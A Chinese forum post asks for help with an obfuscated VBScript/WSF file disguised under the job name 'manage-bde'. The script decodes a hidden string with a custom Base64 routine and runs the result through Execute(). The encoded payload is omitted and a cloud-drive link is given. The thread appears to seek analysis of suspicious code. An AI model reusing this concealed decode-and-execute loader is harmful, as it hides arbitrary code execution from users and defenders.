求教vb大神

代码无法复制，会卡网页。稍等发截图

<package>
<job id="manage-bde">
<script language="VBScript">
Function HIO(ByVal QWL):
XGL=Q(94)+Q(69)+Q(81)+Q(70)+Q(78)+Q(71)+Q(48)+Q(73)+Q(49)+Q(72)+Q(109)+Q(74)+Q(89)+Q(76)+Q(117)+Q(104)+Q(77)+Q(50)+Q(112)+Q(79)+Q(80)+Q(55)+Q(82)+Q(107)+Q(110)+Q(83)+Q(57)+Q(84)+Q(66)+Q(85)+Q(119)+Q(86)+Q(108)+Q(101)+Q(87)+Q(52)+Q(88)+Q(97)+Q(75)+Q(98)+Q(53)+Q(100)+Q(106)+Q(111)+Q(113)+Q(116)+Q(118)+Q(90)+Q(51)+Q(99)+Q(114)+Q(105)+Q(56)+Q(65)+Q(102)+Q(103)+Q(122)+Q(54)+Q(120)+Q(67)+Q(115)+Q(121)+Q(68)+Q(93):
Dim RYP,MHC,SOI:
QWL=Replace(QWL,vbCrLf,""):
QWL=Replace(QWL,vbTab,""):
QWL=Replace(QWL,Q(32),""):
RYP=Len(QWL):
For SOI=Q(49)To RYP Step 4:
Dim DMF,GMP,WVE,XNL,EZA,EUK:DMF=Q(51):EZA=Q(48):
For GMP=Q(48)To Q(51):WVE=Mid(QWL,SOI+GMP,Q(49)):
If WVE=Q(61)
Then DMF=DMF-Q(49):XNL=Q(48):
Else XNL=InStr(Q(49),XGL,WVE,vbBinaryCompare)-Q(49):
End If:
EZA=64*EZA+XNL:
Next:
EZA=Hex(EZA):
EZA=String(6-Len(EZA),Q(48))&EZA:
EUK=Q(CByte(Q(38)+Q(72)+Mid(EZA,Q(49),Q(50))))+Q(CByte(Q(38)+Q(72)+Mid(EZA,Q(51),Q(50))))+Q(CByte(Q(38)+Q(72)+Mid(EZA,Q(53),Q(50)))):MHC=MHC+Left(EUK,DMF):
Next:
HIO=MHC:
End Function:
Function Q(TD):
Q=ChR(TD):
EnD FUnction:
Execute(HIO("‘’))//这里边代码很长，一堆乱码，楼下放出
</script>
</job>
</package>

http://pan.baidu.com/s/1kUxHqqr